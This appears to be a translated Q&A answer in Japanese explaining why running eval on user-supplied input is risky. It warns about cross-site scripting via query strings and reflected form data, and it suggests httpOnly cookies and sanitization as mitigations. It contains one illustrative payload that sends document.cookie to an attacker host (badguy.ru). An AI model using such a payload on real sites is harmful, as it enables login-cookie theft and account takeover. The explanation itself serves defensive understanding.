エンドユーザーは、ブラウザーの開発者コンソールを介して、とにかく任意のJavaScriptを簡単に実行できます(私はこれを常に実行しています)。あなたが心配しなければならないのは、攻撃者がeval
自分の目的のために使用するあなたの機能を乗っ取るということです。
一般に危険と見なされる理由eval
は、信頼できないコードが侵入しやすいためです。入力ボックスにクエリ文字列の値が事前に入力されている、クエリ文字列を介して入力を指定できるページについて考えてみます。
攻撃者は、ユーザーのログインCookieを盗むコードを含むリンクを拡散する可能性があります。
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(明らかに適切なURLエンコードが必要です。これは説明用です。)
または、検証が失敗したときに、PHPスクリプトが投稿されたデータをフォームにエコーバックする可能性があります。攻撃者は、同じCookieを盗むコードを使用してフォームに投稿する特別に細工されたフォームを作成する可能性があります。
これらの各攻撃は、Cookieを使用するhttpOnly
か(ログインCookieの盗難を防ぐため)、データが確実にサニタイズされるようにすることで軽減できます。ただし、これは、問題が発生する可能性のある完全なリストにさえ近いわけではありません。たとえば、挿入されたスクリプトは、金額フィールドに1000を挿入し、その金額を攻撃者のアカウントに送金しようとする可能性があります(これが送金ページの場合)。
正規表現を使用して入力をサニタイズしているという事実を考慮しても、必ずしも保護されるとは限りません。任意のJavaScriptを完全に角かっこで記述することができます。
つまり、入力がテキストフィールドに入る唯一の方法がユーザー入力によるものであることを絶対に確認できれば、問題はありません。ユーザーは、他の方法ではできないことを何も得ていません。コンソール経由。ただし、攻撃者が何らかの方法で自分のデータをそのフィールドに取り込むことができる場合、eval
それを実行すると脆弱性にさらされる可能性があります。
参照: